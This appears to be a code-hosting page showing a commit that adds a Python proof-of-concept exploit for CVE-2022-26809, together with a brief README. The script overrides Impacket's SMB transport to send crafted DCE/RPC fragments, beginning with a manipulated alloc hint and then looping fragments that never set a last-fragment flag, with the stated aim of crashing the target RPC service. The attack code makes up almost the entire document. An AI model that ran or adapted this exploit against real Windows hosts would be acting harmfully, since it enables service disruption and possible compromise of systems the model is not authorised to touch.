🤬
  • ■ ■ ■ ■ ■ ■
    PoC_CVE_2022_26809.py
     1 +from impacket.uuid import uuidtup_to_bin
     2 +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT
     3 +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_CONNECT
     4 +from impacket.dcerpc.v5.transport import DCERPCStringBinding
     5 +from impacket.dcerpc.v5.transport import TCPTransport
     6 +from impacket.dcerpc.v5.transport import SMBTransport
     7 +from impacket.dcerpc.v5.transport import UDPTransport
     8 +from impacket.dcerpc.v5.transport import HTTPTransport
     9 +from impacket.dcerpc.v5.transport import LOCALTransport
     10 +from impacket.dcerpc.v5.transport import DCERPC_v5
     11 + 
     12 +import sys
     13 + 
     14 +def My_DCERPCTransportFactory(stringbinding):
     15 + sb = DCERPCStringBinding(stringbinding)
     16 + 
     17 + na = sb.get_network_address()
     18 + ps = sb.get_protocol_sequence()
     19 + if 'ncadg_ip_udp' == ps:
     20 + port = sb.get_endpoint()
     21 + if port:
     22 + rpctransport = UDPTransport(na, int(port))
     23 + else:
     24 + rpctransport = UDPTransport(na)
     25 + elif 'ncacn_ip_tcp' == ps:
     26 + port = sb.get_endpoint()
     27 + if port:
     28 + rpctransport = TCPTransport(na, int(port))
     29 + else:
     30 + rpctransport = TCPTransport(na)
     31 + elif 'ncacn_http' == ps:
     32 + port = sb.get_endpoint()
     33 + if port:
     34 + rpctransport = HTTPTransport(na, int(port))
     35 + else:
     36 + rpctransport = HTTPTransport(na)
     37 + elif 'ncacn_np' == ps:
     38 + named_pipe = sb.get_endpoint()
     39 + if named_pipe:
     40 + named_pipe = named_pipe[len(r'\pipe'):]
     41 + rpctransport = MySMBTransport(na, filename = named_pipe)
     42 + else:
     43 + rpctransport = MySMBTransport(na)
     44 + elif 'ncalocal' == ps:
     45 + named_pipe = sb.get_endpoint()
     46 + rpctransport = LOCALTransport(filename = named_pipe)
     47 + else:
     48 + raise DCERPCException("Unknown protocol sequence.")
     49 + 
     50 + rpctransport.set_stringbinding(sb)
     51 + return rpctransport
     52 +
     53 +class MYDCERPC_v5(DCERPC_v5):
     54 + def __init__(self, transport):
     55 + super().__init__(transport)
     56 + 
     57 +class MySMBTransport(SMBTransport):
     58 + def get_dce_rpc(self):
     59 + return MYDCERPC_v5(self)
     60 + 
     61 + def my_gettid(self):
     62 + return self._SMBTransport__tid
     63 +
     64 + def my_gethandle(self):
     65 + return self._SMBTransport__handle
     66 + 
     67 + def modify_packets(self, data, flag, alloc_hint, call_id, frag_len, buf):
     68 + tmp_d = data[0:3]
     69 + if flag is not None:
     70 + tmp_d += flag.to_bytes(1, 'big')
     71 + else:
     72 + tmp_d += data[3:4] # copied flags
     73 + 
     74 + tmp_d += data[4:8] # copied pkt representation
     75 + 
     76 + if frag_len is not None:
     77 + tmp_d += (frag_len).to_bytes(2, 'little')
     78 + else:
     79 + tmp_d += data[8:10]
     80 +
     81 + tmp_d += data[10:12] # copied auth len
     82 + 
     83 + if call_id is not None:
     84 + tmp_d += (call_id).to_bytes(4, 'little') # callid
     85 + else:
     86 + tmp_d += data[12:16]
     87 +
     88 + if alloc_hint is not None:
     89 + tmp_d += (alloc_hint).to_bytes(4, 'little') # alloc hint
     90 + else:
     91 + tmp_d += data[16:20]
     92 + tmp_d += data[20:24]
     93 + if buf is not None:
     94 + tmp_d += buf
     95 + else:
     96 + tmp_d += data[24:]
     97 + return tmp_d
     98 + 
     99 + # Override transport send in order to modify packet frag len
     100 + def send(self,data, forceWriteAndx = 0, forceRecv = 0):
     101 + tid = self.my_gettid()
     102 + handle = self.my_gethandle()
     103 + i = 0
     104 + fixed_header_len = 0x18
     105 + global fragment_size
     106 + '''
     107 + 0ffset 0 : version 1 byte long
     108 + Offset 1 : minor 1 byte long
     109 + Offset 2 : packet type 1 byte long
     110 + offset 3 : packet flags 1 byte long
     111 + offset 4 : packet representation 4 bytes long
     112 + offset 8 : frag len 2 bytes long
     113 + offset 10 : auth len 2 bytes long
     114 + offset 12 : Call ID 4 bytes long
     115 + offset 16 : alloc hint 4 bytes long
     116 + offset 20 : context id 2 bytes long
     117 + offset 22 : opnum 2 bytes long
     118 + offset 24 : data payload
     119 + offset 24 + frag len : auth part auth len long
     120 + '''
     121 + if b'DATATOSEND!' in data:
     122 + raw_d = b'A'*1024
     123 + # alloc_hint == len(raw_d)+fixed_header_len - fixed_header_len => makes on the first packet to enter in DispatchRpcCall() that set this + 0x214 to 1
     124 + d = self.modify_packets(data, 0x1, 1024, 4, len(raw_d)+fixed_header_len, raw_d)
     125 + super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d)
     126 + while True:
     127 + # sends multiple packets with no last fragment -> at some point expects some crash
     128 + d = self.modify_packets(data, 0, 0, 4, len(raw_d)+fixed_header_len, raw_d)
     129 + try:
     130 + super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d)
     131 + except Exception as e:
     132 + print("[-] Exception Got on {}th send: {}".format(i,e))
     133 + break
     134 + i += 1
     135 + else:
     136 + if len(data) > fragment_size:
     137 + offset = 0
     138 + while 1:
     139 + toSend = data[offset:offset+fragment_size]
     140 + if not toSend:
     141 + break
     142 + super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, toSend)
     143 + offset += len(toSend)
     144 + else:
     145 + super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, data)
     146 + 
     147 +protoseq = "ncacn_np"
     148 +ip = sys.argv[1]
     149 +port = sys.argv[2]
     150 +uuid = sys.argv[3] # my uuid 'a29b0684-dd1f-49fc-8d41-760c344ad111'
     151 +binding = protoseq+':' + ip + '[' + port + ']'
     152 +fragment_size = 0x1000
     153 + 
     154 +def main(binding, uuid):
     155 + rpctransport = My_DCERPCTransportFactory(binding)
     156 + if hasattr(rpctransport, 'set_credentials'):
     157 + # This method exists only for selected protocol sequences.
     158 + rpctransport.set_credentials('John', 'Passw0rd!', '')
     159 + dce = rpctransport.get_dce_rpc()
     160 + dce.set_auth_type(RPC_C_AUTHN_WINNT)
     161 + dce.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
     162 + print('[+]\t Connecting to {}'.format(binding))
     163 + dce.set_max_fragment_size(fragment_size)
     164 + dce.connect()
     165 + print('[+]\t Binding to {}'.format(uuid))
     166 + dce.bind(uuidtup_to_bin((uuid, '1.0')))
     167 + print('[+]\t Starts triggering vulnerability')
     168 + dce.call(0, b"DATATOSEND!")
     169 + print('[+]\t Any Crash?')
     170 + dce.disconnect()
     171 + 
     172 +main(binding, uuid)
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # PoC-CVE-2022-26809
    2 2  PoC for CVE-2022-26809, analisys and considerations are shown in the github.io.
    3 3   
     4 + 
     5 +The PoC has been writtin overriding Impacket functions.
     6 + 
     7 +Tested with: impacket version 0.10.0
Please wait...
Page is in error, reload to recover